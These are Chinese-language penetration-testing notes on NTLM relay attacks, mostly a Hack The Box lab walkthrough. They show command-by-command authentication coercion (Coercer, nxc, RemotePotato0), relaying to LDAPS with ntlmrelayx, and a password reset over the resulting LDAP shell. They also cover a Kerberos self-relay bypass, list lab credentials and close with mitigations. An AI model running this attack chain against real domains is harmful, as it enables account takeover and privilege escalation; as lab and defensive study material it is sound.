NTLM Relay

1. 快速利用

要求:

  • 目标服务和客户端都不能强制执行加密或签名,因为我们没有执行这些操作所需的密钥(会话密钥)
  • 未强制开启NTLM Relay中继保护:如扩展身份验证保护 (EPA) 也叫通道绑定

使用Coercer

#先开启监听
responder -I tun0 -A

#使用coecer强制目标机器向我们发起认证
coercer  coerce -l 10.10.14.44 -t 10.10.14.11  -u henry.vinson_adm  -p 'G1#Ny5@2dvht' -d htb.local  --always-continue

使用nxc

nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus
nxc smb dc1.delegate.vl -u 'hack$' -p Admin123 -M coerce_plus -o L=10.10.14.69 M=PrinterBug

1.1. NTLM中继 升级到kerberos中继

1.2. 自中继保护

自中继防护
由于windows存在自中继防护机制(Self-Relay Mitigations),使得我们无法在同一台机器上完成此操作

ESC8 与 Kerberos 自中继绕过

1. NTLM 自中继防护 (Self-Relay Mitigation)
在典型的 ESC8 攻击中,若 域控 (DC)证书注册 Web 服务 (AD CS Web Enrollment) 运行在同一台机器上,攻击流程会触发“自中继”:

  • 诱导机器 A(DC)向攻击者发起认证。
  • 攻击者将凭据转发回机器 A 自身的 Web 接口。
    由于微软针对 NTLM 协议引入了自中继防护机制(如 MS08-068),系统会识别并拦截这种同机认证环路,导致中继失败。

2. 解决方案:Kerberos Relay (ESC8 进阶)
近期研究显示,通过 Kerberos 协议 进行中继可以绕过针对 NTLM 的自中继限制。

  • 工具: RemoteKrbRelay (由 Cicada8 Research 开发)。它能够中继 Kerberos 认证(如通过 RPCSS)到 Web 接口。
  • 前提条件: 该工具需在 Windows 环境下运行,并要求拥有一个合法的域机器/用户上下文。

3. 利用策略:
由于域环境通常允许普通用户将机器加入域(MachineAccountQuota 默认为 10),攻击者可以:

  1. 使用获取到的域用户凭据(如 rosie.powell),将自己的 Windows 虚拟机加入目标域。
  2. 在该虚拟机上登录域账号,运行 RemoteKrbRelay
  3. 诱导 DC 发起认证,通过Kerberos relay 获取 DC 的证书(.pfx/PKCS12),从而实现权限提升。

1.3. Cross-ssesion NTLM Relay

上传RemotePotato0来进行利用
相关的利用案例可以参考: https://0xdf.gitlab.io/2025/06/19/htb-shibuya.html#cross-session-relay

这里需要把 WEB01机器上a.white用户发送给我们的HTTP服务的NTLM认证 中继到DC01的LDAPS,然后获取到a.white的ldap shell

1.3.1. socat端口转发

socat转发我们tun0的135端口流量到 WEB01 的 9999 端口 :

这里的监听端口不能用其他端口,因为DCOM 客户端做 OXID 解析时只认 135 端口

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# socat TCP-LISTEN:135,bind=10.10.14.10,fork,reuseaddr TCP:192.168.100.2:9999

1.3.2. ntlmrelayx

ntlmrelayx开启监听,把收到的NTLM认证转发到DC01的LDAPS

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# nxc smb  10.129.124.28 -u guest -p ''
SMB         10.129.124.28   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.124.28   445    DC01             [-] pirate.htb\guest: STATUS_ACCOUNT_DISABLED

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# nxc ldap  10.129.124.28 -u guest -p ''
LDAP        10.129.124.28   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        10.129.124.28   389    DC01             [-] pirate.htb\guest: STATUS_ACCOUNT_DISABLED
  • 因为域控DC01 开启了SMB签名,所以无法使用SMB协议中继,未开启LDAP通道绑定,这里可以使用LDAPS 或者LDAP中继
  • 这里还可以选择其他协议,如HTTP、HTTPS、MSSQL之类的,但都需要对应的服务配置了Windows认证(NTLM/Negotiate)才行
  • 但后续我们会利用a.white的Ldap shell修改 a.white.adm的密码,AD要求此操作只能在加密通道上执行才行,所以这里选择LDAPS
┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# ntlmrelayx.py -t ldaps://10.129.124.28 --remove-mic --http-port 80 -smb2support --no-da --no-acl --no-validate-privs -i
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
Exception in thread Thread-7:
Traceback (most recent call last):
  File "/root/.local/share/uv/python/cpython-3.11.13-linux-x86_64-gnu/lib/python3.11/threading.py", line 1045, in _bootstrap_inner
    self.run()
  File "/root/.local/share/uv/tools/impacket/lib/python3.11/site-packages/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py", line 424, in run
    self.server = self.RPCSocketServer((self.config.interfaceIp, self.config.listeningPort), self.RPCHandler,
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/.local/share/uv/tools/impacket/lib/python3.11/site-packages/impacket/examples/ntlmrelayx/servers/rpcrelayserver.py", line 41, in __init__
    socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)
  File "/root/.local/share/uv/python/cpython-3.11.13-linux-x86_64-gnu/lib/python3.11/socketserver.py", line 456, in __init__
    self.server_bind()
  File "/root/.local/share/uv/python/cpython-3.11.13-linux-x86_64-gnu/lib/python3.11/socketserver.py", line 472, in server_bind
    self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
[*] Multirelay disabled

[*] Servers started, waiting for connections

这里报错不用管

  • -t ldaps://10.129.124.28 : 目标IP+协议
  • --remove-mic:移除 NTLM 校验,用于绕过NTLM中继防护
  • --http-port 80: 监听本地80 因为目标为HTTP服务的NTLM认证
  • --no-da:不自动添加域管 减少噪音
  • --no-acl:不修改 ACL 减少噪音
  • --no-validate-privs :不验证权限 减少噪音
  • -i:启用ldap shell

1.3.3. RemotePotato0 触发NTLM强制认证

*Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$.PIRATE\Documents> ./RemotePotato0.exe -m 0 -r 10.10.14.10 -x 10.10.14.10 -p 9999
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on 10.10.14.10 to your victim machine on port 9999
[*] Example Network redirector:
        sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the NTLM relay attack, launch ntlmrelayx on 10.10.14.10!!
[*] Calling CoGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 104 bytes
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to ntlmrelayx HTTP Server 10.10.14.10 on port 80
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] Got NTLM type 3 AUTH message from PIRATE\a.white with hostname WEB01
[+] Relaying seems successfull, check ntlmrelayx output!

  • -m 0:Rpc2Http cross protocol relay server + potato trigger模式,最常用的
  • -r 10.10.14.10: 远程中继服务器IP
  • -x 10.10.14.10: 恶意 OXID 解析器 IP
  • -p 9999:OXID 解析器端口

此时,我的ntlmrelayx也收到了回复

OSError: [Errno 98] Address already in use
[*] (HTTP): Client requested path: /
[*] (HTTP): Connection from 10.129.124.28 controlled, attacking target ldaps://10.129.124.28
[*] (HTTP): Client requested path: /
[*] (HTTP): Authenticating connection from PIRATE/A.WHITE@10.129.124.28 against ldaps://10.129.124.28 SUCCEED [1]
[*] ldaps://PIRATE/A.WHITE@10.129.124.28 [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/A.WHITE

此时会在127.0.0.1:11000 开启一个一次性的ldap shell

1.3.4. ldapshell 修改密码

nc连接此ldap shell修改a.white_adm的密码

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# nc 127.0.0.1 11000
Type help for list of commands

# whoami
u:PIRATE\a.white

# change_password a.white_adm Admin123
Got User DN: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
Attempting to set new password of: Admin123
Password changed successfully!

如果是LDAP协议的认证则产生如下报错 WILL_NOT_PERFORM,因为我们为处于一个加密通道,无法完成更改密码操作

┌──(root㉿kali)-[~/Desktop/htb/Pirate]
└─# nc 127.0.0.1 11000
Type help for list of commands

# whoami
u:PIRATE\a.white

# change_password a.white_adm Admin123
Got User DN: CN=Angela W. ADM,CN=Users,DC=pirate,DC=htb
Attempting to set new password of: Admin123
('The server returned an error: %s', '0000001F: SvcErr: DSID-031A124C, problem 5003 (WILL_NOT_PERFORM), data 0\n\x00')

2. NTLM介绍

2.1. 原理

NTLM 身份验证消息嵌入在 SMB、HTTP、MSSQL、SMTP、IMAP 等应用协议的数据包中。LM 和 NTLM 身份验证协议是“独立于应用协议” 的。这意味着可以将 LM 或 NTLM 身份验证消息通过某种协议(例如 HTTP)中继到另一种协议(例如 SMB)上。这被称为跨协议 LM/NTLM 中继。这也意味着可能的中继和攻击取决于身份验证消息所嵌入的应用协议。
NTLM 中继的整体攻击路径

NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。NTLM Relay Attack(NTLM中继攻击)指的是强制目标服务器、目标用户使用LM Hash、NTLM Hash对攻击者的服务器进行认证,攻击者将该认证中继至其他目标服务器中(域控等),根据目标域的防护等级可以在活动目录域中进行横向移动或权限提升,流程可见下图。

36f0b451cf720aafa5a3687795555b98_MD5.png

2.2. 利用工具

2.2.1. Responder(linux)

#监听eth1网卡
responder -I eth1

当域内主机有通讯192.168.3.12时,就可以抓到通讯用户的hash

907e2afe01794f6417a512c8e9efcec9_MD5.png

2.2.2. Inveigh(windows)

2.2.3. ntlmrelayx

2.3. 修复NTLM Relay

Windows并没有提供一键修复的功能,以下是一些缓解措施:

  • 强制实施 SMB Signing
  • 禁用对 NTLMv1 的支持,转而使用 NTLMv2
  • 尽可能禁用NTLM认证,转而使用Kerberos认证。(这个工程很庞大,通常需要较长的时间来实施)
  • 强制LDAP Signing&Channel Binding
  • 将特权用户置于受保护用户组中
  • 禁止来自 Active Directory 内不受信任网络的 NTLM 身份验证请求
  • 网络分段